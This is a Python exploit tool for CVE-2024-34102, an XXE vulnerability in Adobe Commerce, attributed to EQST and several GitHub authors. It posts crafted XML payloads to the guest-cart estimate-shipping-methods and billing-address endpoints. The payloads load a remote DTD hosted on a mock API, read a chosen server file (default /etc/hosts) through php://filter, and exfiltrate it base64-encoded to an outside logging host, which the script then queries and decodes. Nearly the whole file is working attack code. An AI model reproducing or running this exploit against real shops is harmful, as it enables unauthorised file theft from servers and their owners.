import re
import json
import random
import string
import base64
import requests
import time
import sys
import rich_click as click

# Turn off the InsecureRequestWarning
requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

# Banner
banner = r"""


                             :+**+++***:                                                                 
                           =#+---------*+                                                                
         .:=:       .:+#%######%@%=----=#%#=.                                                            
 .:.     .-=:   .=%%*++==========*#=---=#---+%                                                           
=-:-:.:===    :@#+================+%=--*#--=*%.                                                          
=---=.:=-- .=%+====+++++*+++++======*%%++#%#%*:                                                          
 .:.  .   -#*==+*###*=::::-=*##*++========+#*-=#:                                                        
        .+#++*#*-..............:=##++=======+@+*:                                                        
        #*+*#=:...................:+%*=======+%=    .*%@@@@@@@@@%*-    -+#%@@@%%#*+.     :++*##**++-     
       %*+#+:.......................:=%+======+#-   %@@@@@@@@@@@@@@. :%@@@@@@@@@@@@%- .+%@@@@@@@@@@@%-   
      **+#+..................:%%#=....:*#======**.  %@@@@@@@@@@@@@@-.%@@@@@@@@@@@@@@*.*@@@@@@@@@@@@@@#:  
     :#=**.............................:+#=====+#=  %@@@@@@@@@@@@@@=.@@@@@@@@@@@@@@@*:#@@@@@@@@@@@@@@#:  
     +*+@:...=%=........................:**=====*+.      ....%@@@@@-:@@@@=    -%@@@@*-%@@@%    .#@@@@#:  
     ***%...::................:*##%=:....+*+====+#:  :-++++++@@@@@@:-@@@@=    =@@@@@*-%@@@%    :%@@@@#:  
     ***%......:::...:+***#%=............=*+====+*: #@@@@@@@@@@@@@@.-@@@@%=--=#@@@@@*-%@@@@-:::+%@@@@#:  
     +**@:..-+%@@-.:#%*+*+**:............+*+====#+ =@@@@@@@@@@@@@@= :@@@@@@@@@@@@@@@*-%@@@@@@@@@@@@@@#:  
     :#+@+....:-:...::--:=+-............-#+====+#: +@@@@@@@@@@@@#-  .%@@@@@@@@@@@@@@+.*@@@@@@@@@@@@@@*.  
      +#*@=...........................:*#+====*#:  +@@@@@=.....      .:=*#%%%@@@@@@@= .=#@@@@@@@@@@@@*.  
       *#*%=........................=%#+====+%#*+  +@@@@@%%%%%%%%%=          .*@@@@%-      ....*@@@@@+.  
        -%*%*:.................:-#@*+=====+@#==+*. =@@@@@@@@@@@@@@@.         :#@@@@%:          *@@@@@+   
         .=%**@#=-::::::::..-#@#+=====++%@*====**. .%@@@@@@@@@@@@@%.         :#@@@@%.          *@@@@%=   
            :*#*******++*%*##+=========++##====**   .#%@@@@@@@@@@@-          .*@@@@#           +@@@@%-   
    .-===-.    .+%%#+=====++====+*####+==+%*===*+       .::::::..             :=+=:            :+**+-    
   -*-=+=-+=  :@%###*+=========*@%#*##====*%+=+#:                                                        
   -*:....++  #=...:+#+=-.:...:+#:...-@+==+%+=+#                                                         
   -%#***#%+.-#.....:%++#*++=:-#-.....+##@%+==**                                                          
  :**+***=*%**%+...:#%@@%%%%%%%%#:...+@#%%*==+%.                                                          
:+++*#@@@@%@#*@#*##*++===========+*#@%**#@#==+%                                                          
:++++++++#%**%=-------------------*%*+++++*%+@.        Author: EQST(Experts, Qualified Security Team)                                                  
  .-=+++++++++*######%%%%%%%%%%%##*++++++++#*.         Github: https://github.com/EQSTLab/RnT                                                  
       ..:--===++++++++++++++++++++===-:..                                                              

Code base: @th3gokul & Sanjaith3hacker & Chocapikk
@th3gokul (https://github.com/th3gokul/CVE-2024-34102)
Sanjaith3hacker (https://www.linkedin.com/in/d-sanjai-kumar-109a7227b/)
Chocapikk (https://github.com/Chocapikk/CVE-2024-34102)

=============================================================================================================    

CVE-2024-34102 : Adobe Commerce XXE vulnerability
description: Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution. An attacker could exploit this vulnerability by sending a crafted XML document that references external entities. Exploitation of this issue does not require user interaction.

============================================================================================================= 
    """

class CosmicSting:

    def __init__(self, url: str, file: str):
        self.url = url
        self.file = file
        self.callbackId = None
        self.callbackUrl = None
        self.callbackSecret = None

    def greeting() -> None:
        print(banner)
        
    def spinner(duration=10, interval=0.1):
        spinner_chars = ['|', '/', '-', '\\']
        end_time = time.time() + duration
        while time.time() < end_time:
            for char in spinner_chars:
                sys.stdout.write(f'\r[{char}] Loading, please wait...')
                sys.stdout.flush()
                time.sleep(interval)
        print("")

    def getCallback(self) -> None:
        # Used api mocky to make callback
        url = "https://api.mocky.io/api/mock"
        
        characters = string.ascii_letters # ascii letters to make random (Case sensitive)
        secretRandom = ''.join(random.choice(characters) for _ in range(36))

        body = {
                "status":200,
                "content":f"<!ENTITY % data SYSTEM \"php://filter/convert.base64-encode/resource={self.file}\">\n<!ENTITY % param1 \"<!ENTITY exfil SYSTEM 'https://{self.instanceId}.c5.rs/?data=%data;'>\">",
                "content_type":"text/plain",
                "charset":"UTF-8",
                "secret":f"{secretRandom}",
                "expiration":"never"
                }

        response = requests.post(url, json=body, verify=False)
        data = response.json()
        self.callbackId = data.get('id')
        self.callbackSecret = data.get('secret')
        self.callbackUrl = f"{data.get('link')}/dtd.xml"

    def deleteCallback(self) -> None:
        url = f"https://api.mocky.io/api/mock/{self.callbackId}"
        body = {"id":f"{self.callbackId}","secret":f"{self.callbackSecret}"}
        requests.delete(url, json=body, verify=False)
        
    def newInstance(self) -> str:
        # Used SSRFUtility
        utilityUrl = "https://api.cvssadvisor.com/ssrf/api/instance"
        response = requests.post(utilityUrl, verify=False)
        instanceId = response.text[1:-1] # Remove double quotation marks 
        return instanceId

    def isVuln(self, instanceId: str) -> bool:
        # Is this url vulerable?
        getLogsUrl = f"https://api.cvssadvisor.com/ssrf/api/instance/{instanceId}"
        response = requests.get(getLogsUrl, verify=False)
        data = response.json()
        logs = json.dumps(data)

        if "/?data=" in logs:
            encodedFileContents = re.search(r"data=(.*) HTTP", logs).group(1)
            decodedFileContents = base64.b64decode(encodedFileContents).decode("utf-8")
            print(f"[+] File Contents for \"{self.file}\": \n{decodedFileContents}")
            return True
        else:
            self.clearLogs(instanceId)
            return False

    def clearLogs(self, instanceId: str) -> None:
        deleteLogsUrl = f"https://api.cvssadvisor.com/ssrf/api/instance/{instanceId}/clear"
        requests.delete(deleteLogsUrl, verify=False)

    def deleteInstance(self, instanceId: str) -> None:
        deleteUrl = f"https://api.cvssadvisor.com/ssrf/api/instance/{instanceId}"
        requests.delete(deleteUrl, verify=False)

    # Attack vector 1 : estimate-shipping-methods
    def send_request1(self, url: str) -> None:
        base_url = f"{url}/rest/V1/guest-carts/1/estimate-shipping-methods"
        
        body = {
            "address": {
                "totalsCollector": {
                    "collectorList": {
                        "totalCollector": {
                            "sourceData": {
                                "data": f'<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "{self.callbackUrl}"> %sp; %param1; ]> <r>&exfil;</r>',
                                "options": 524290,
                            }
                        }
                    }
                }
            }
        }

        requests.post(base_url, json=body, verify=False)

    # Attack vector 2 : billing-address
    def send_request2(self, url: str) -> None:
        base_url = f"{url}/rest/V1/guest-carts/1/billing-address"
        
        body = {
            "address": {
                "totalsCollector": {
                    "collectorList": {
                        "totalCollector": {
                            "sourceData": {
                                "data": f'<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "{self.callbackUrl}"> %sp; %param1; ]> <r>&exfil;</r>',
                                "options": 524290,
                            }
                        }
                    }
                }
            }
        }

        requests.post(base_url, json=body, verify=False)

    def exploit(self, url: str) -> None:
        
        # First attempt
        self.send_request1(url)

        isExploited = self.isVuln(self.instanceId)
        
        if isExploited:
            print(f"[+] The '{self.url}' is vulnerable")
        else:
            self.clearLogs(self.instanceId)

            # Second attempt
            self.send_request2(url)

            isExploited = self.isVuln(self.instanceId)

            if isExploited:
                print(f"[+] The '{self.url}' is vulnerable")
            else:
                print(f"[-] The '{self.url}' is NOT vulnerable")

        self.clearLogs(self.instanceId)

    def run(self) -> None:
        self.instanceId = self.newInstance()
        self.getCallback()
        print(f"[+] CallbackURL: {self.callbackUrl}")
        self.exploit(self.url)
        self.deleteCallback()
        self.deleteInstance(self.instanceId)

# argument parsing with rich_click
@click.command()
@click.option(
    "-u",
    "--url",
    required=True,
    help="Specify a URL or domain for vulnerability detection",
)
@click.option(
    "-f",
    "--file",
    default="/etc/hosts",
    help="Specify the file to read from the server",
)
def main(url: str, file: str) -> None:
    cve_exploit = CosmicSting(url, file)
    CosmicSting.greeting()
    CosmicSting.spinner(duration=1)
    cve_exploit.run()

if __name__ == "__main__":
    main()